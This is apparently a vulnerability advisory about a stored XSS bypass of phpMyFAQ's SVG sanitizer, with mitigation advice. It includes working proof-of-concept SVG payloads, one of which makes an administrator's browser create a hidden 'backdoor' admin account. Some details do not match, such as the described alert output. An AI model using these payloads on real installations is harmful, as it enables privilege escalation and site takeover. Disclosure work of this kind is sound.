Editors in phpMyFAQ can upload malicious SVGs that bypass the SVG sanitizer, trigger stored XSS, and escalate privileges to full admin control. This affects all installations since the sanitizer landed on January 15, 2026, in phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php. Any user with edit_faq permission exploits it via the image upload endpoint at /admin/api/content/images, no admin rights needed.
The core flaw sits in the regex pattern /href\s*=\s*["\']javascript:[^"\']*["\']/i. It sniffs for literal javascript: in SVG <a href> attributes but chokes on HTML entity encoding. Browsers decode entities like javascript to javascript on render, executing the payload. The isSafe() method greenlights the file, skipping further checks.
Worse, the DANGEROUS_ELEMENTS blocklist ignores SVG-specific JS vectors like <script>, <use>, and <animate>. Uploaded SVGs serve as Content-Type: image/svg+xml without Content-Disposition: attachment, so browsers inline-render and run the JS on the phpMyFAQ domain.
Proof-of-Concept Exploits
Tested in Chrome 146 and Edge, this basic XSS works for any editor:
- Log in with
edit_faqpermissions. - Go to Admin → Content → Add New FAQ.
- In TinyMCE, upload this SVG:
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<style> text { cursor: pointer; fill: red; font-size: 20px; } </style>
<a href="javascript:alert('XSS')()"><text x="10" y="50">Click for XSS</text></a>
</svg>
The file lands at /content/user/images/_.svg. Open it directly; click the red text fires alert(document.domain).
For privilege escalation, upload this to trick an admin:
<svg xmlns="http://www.w3.org/2000/svg" width="300" height="100">
<a href="javascript:
fetch('/admin/api/user?login=backdoor&passwd=H4ck3d!&role=1',{
method:'POST',
headers:{'Content-Type':'application/x-www-form-urlencoded','X-CSRFToken':document.querySelector('[name=csrf]').value}
}).then(r=>r.text()).then(console.log);
()">
<text x="10" y="50" fill="blue" font-size="16">📋 System Notice View Update →</text>
</a>
</svg>
Admin clicks, JS POSTs to /admin/api/user creating backdoor:H4ck3d! with full admin role. Attacker logs in.
Real-World Impact and Fixes
phpMyFAQ powers FAQs for thousands of sites—companies, universities, governments rely on it for self-hosted knowledge bases. An editor (support staff, contributor) turns rogue and owns the instance. JS runs in admin’s browser context, so attackers:
- Create backdoor admins via API.
- Steal config like DB creds (
config/database.php), SMTP keys. - Delete/edit FAQs, impersonate staff.
- Chain to server-side RCE if paired with other flaws.
This echoes SVG XSS plagues in WordPress, MediaWiki—SVGs lure devs with “vector graphics” but pack HTML/JS. Regex sanitizers fail predictably; entities, case tweaks, whitespace dodge them. phpMyFAQ’s 2026 intro aimed to block uploads but picked the wrong tool.
Fix it now: Ditch regex for DOM parsing with an allowlist—strip everything but <path>, <rect>, etc., no href or on* handlers. Or force Content-Disposition: attachment on SVGs. Upstream patch incoming? Check thorsten/phpmyfaq. Until then, revoke edit_faq image uploads or block SVGs at nginx/Apache.
Why care? Unpatched, one click hands your FAQ over. In 2024’s breach landscape, leaked DB creds mean ransomware bait. Audit uploads, monitor logs for suspicious SVGs, rotate creds if exposed. Solid intel beats hype—patch before editors go dark side.